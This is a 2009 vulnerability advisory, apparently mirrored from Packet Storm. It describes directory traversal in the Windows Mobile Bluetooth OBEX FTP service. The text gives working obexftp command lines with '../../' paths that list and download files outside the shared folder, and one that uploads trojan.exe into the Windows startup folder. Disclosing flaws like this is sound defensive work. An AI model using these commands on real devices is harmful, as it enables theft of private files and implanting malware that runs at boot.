Lucene search
K

Microsoft Bluetooth Directory Traversal

🗓️ 21 Jan 2009 00:00:00Reported by Alberto Moreno TabladoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

Microsoft Bluetooth Stack OBEX Directory Traversal vulnerability in Windows Mobile 5.0 &

Code
`Title: Microsoft Bluetooth Stack OBEX Directory Traversal  
Author: Alberto Moreno Tablado  
Vendor: Microsoft  
Vulnerable Products: Windows Mobile 6 Professional  
Probably Windows Mobile 5.0 for Pocket PC  
Probably Windows Mobile 6 Classic  
Probably Windows Mobile 5.0 for Pocket PC Phone Edition  
Probably Windows Mobile 6 Standard  
Probably Windows Mobile 5.0 for Smartphone  
Non vulnerable products: Windows Mobile devices 5.0 and 6 using Widcomm/Broadcom Bluetooth Stack  
References: http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/Microsoft-Bluetooth-Stack-Directory-Traversal.html  
  
Description:  
Most Windows Mobile 5.0 & 6 devices are shipped with Microsoft Bluetooth stack, only few of them use others (like Widcomm Bluetooth stack). Among all the Bluetooth services that may be implemented in the stack, OBEX FTP is the most common service.  
  
OBEX FTP Bluetooth service can be used to share files through Bluetooth, not only by sending files but also by allowing remote devices to browse local shared folders and download files.  
  
gospel@gospel-shift:~/bluez$ hcitool scan  
Scanning ...  
00:17:83:02:BA:3C P6300  
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l  
Browsing 00:17:83:02:BA:3C ...  
Channel: 4  
Connecting...done  
Receiving "(null)"... <?xml version="1.0"?>  
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">  
<folder-listing version="1.0">  
<parent-folder name="" />  
<file name="fotaca.jpg" created="20090119T173932Z" size="134680"/>  
<file name="nota.pwi" created="20090119T175242Z" size="432"/>  
</folder-listing>  
done  
Disconnecting...done  
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -g "/nota.pwi"  
Browsing 00:17:83:02:BA:3C ...  
Channel: 4  
Connecting...done  
Receiving "/nota.pwi"... Sending ""... done  
done  
Disconnecting...done  
gospel@gospel-shift:~/bluez$  
  
Usually, the service is configured in such a way that a specific directory is shared and the user can place there all the files he would like to share with other people. The default directory is My Device\My Documents\Bluetooth Share. A different directory may be selected by the user, however the Bluetooth wizard usually doesn't allow specifying any other from the filesystem out of My Device\My Documents\ or Memory Card\My Documents\ paths. This is because of safety reasons, so the user can't expose sensitive files or information through Bluetooth.  
  
There exists a Directory Traversal vulnerability in the OBEX FTP Service in Microsoft Bluetooth Stack implemented in Windows Mobile 5.0 & 6 devices. A remote attacker (who previously owned authentication and authorization rights) can use tools like ObexFTP or gnomevfs-ls to traverse to parent directories out of the default Bluetooth shared folder by using the ../ or ..\\ marks. This means the attacker can browse folders located on a lower level, download files contained in those folders as well as upload files to those folders.  
  
The only requirement is that the attacker must have authentication and authorization privileges over the OBEX FTP service. Pairing up with the remote Windows Mobile device should be enough to get it. In case the attacker succeeded in getting the proper privileges, further actions will be transparent to the user.  
  
As described above, the attacker can take three risky actions:  
  
- Browse directories located out of the limits of the default shared folder and discover sensitive information about the structure of the filesystem.  
  
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../My Documents/"  
Browsing 00:17:83:02:BA:3C ...  
Channel: 4  
Connecting...done  
Receiving "../../My Documents/"... Sending ".."... Sending ".."... Sending "My Documents"... done  
<?xml version="1.0"?>  
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">  
<folder-listing version="1.0">  
<parent-folder name="My Documents" />  
<folder name="Mis imágenes" created="20061231T230020Z"/>  
<folder name="Mis vídeos" created="20061231T230020Z"/>  
<folder name="Personal" created="20061231T230020Z"/>  
<folder name="Mi música" created="20061231T230020Z"/>  
<folder name="Templates" created="20061231T230020Z"/>  
<folder name="UAContents" created="20061231T230022Z"/>  
<folder name="Plantillas" created="20061231T230056Z"/>  
<folder name="TomTom" created="20081229T160020Z"/>  
<folder name="Compartimiento de Bluetooth" created="20090113T134232Z"/>  
</folder-listing>  
done  
Disconnecting...done  
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../Tarjeta de Almacen./My Documents/"  
Browsing 00:17:83:02:BA:3C ...  
Channel: 4  
Connecting...done  
Receiving "../../Tarjeta de Almacen./My Documents/"... Sending ".."... Sending ".."... Sending "Tarjeta de Almacen."... Sending "My Documents"... done  
<?xml version="1.0"?>  
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">  
<folder-listing version="1.0">  
<parent-folder name="My Documents" />  
<folder name="Mis imágenes" created="20070324T005340Z"/>  
<folder name="Mis vídeos" created="20070324T005350Z"/>  
<folder name="Mis CABs" created="20080630T143712Z"/>  
<folder name="Mis temas" created="20080124T142220Z"/>  
<folder name="Mis cosas privadas" created="20090119T175942Z"/>  
</folder-listing>  
done  
Disconnecting...done  
gospel@gospel-shift:~/bluez$  
  
- Download sensitive files located anywhere in the filesystem, such as personal pictures and documents, emails located in \Windows\Messaging or Contacts+Calendar+Tasks information included in \PIM.vol.  
  
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../Windows/Messaging"  
Browsing 00:17:83:02:BA:3C ...  
Channel: 4  
Connecting...done  
Receiving "../../Windows/Messaging"... Sending ".."... Sending ".."... Sending "Windows"... done  
<?xml version="1.0"?>  
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">  
<folder-listing version="1.0">  
<parent-folder name="Windows" />  
<folder name="Attachments" created="20090119T171318Z"/>  
<file name="6238002d81030102.mpb" created="20090119T173434Z" size="1521"/>  
<file name="6839002d81030102.mpb" created="20090119T171828Z" size="2659"/>  
</folder-listing>  
done  
Disconnecting...done  
gospel@gospel-shift:~/bluez$  
  
- Upload malicious files like trojans to any place in the filesystem, such as \Windows\Startup.  
  
In the following capture, the attacker firstly lists the default Bluetooth shared folder. After that, the attacker puts a trojan.exe file in the \Windows\Startup folder.  
  
gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -c "../../Windows/Inicio" -p trojan.exe  
Browsing 00:17:83:02:BA:3C ...  
Channel: 4  
Connecting...done  
Sending ".."... Sending ".."... Sending "Windows"... Sending "Inicio"... done  
Sending "trojan.exe"...\done  
Disconnecting...done  
gospel@gospel-shift:~/bluez$  
  
The trojan file will be executed the next time Windows Mobile inits.  
  
Workaround:  
Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list. Wait for proper vendor response and updates.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation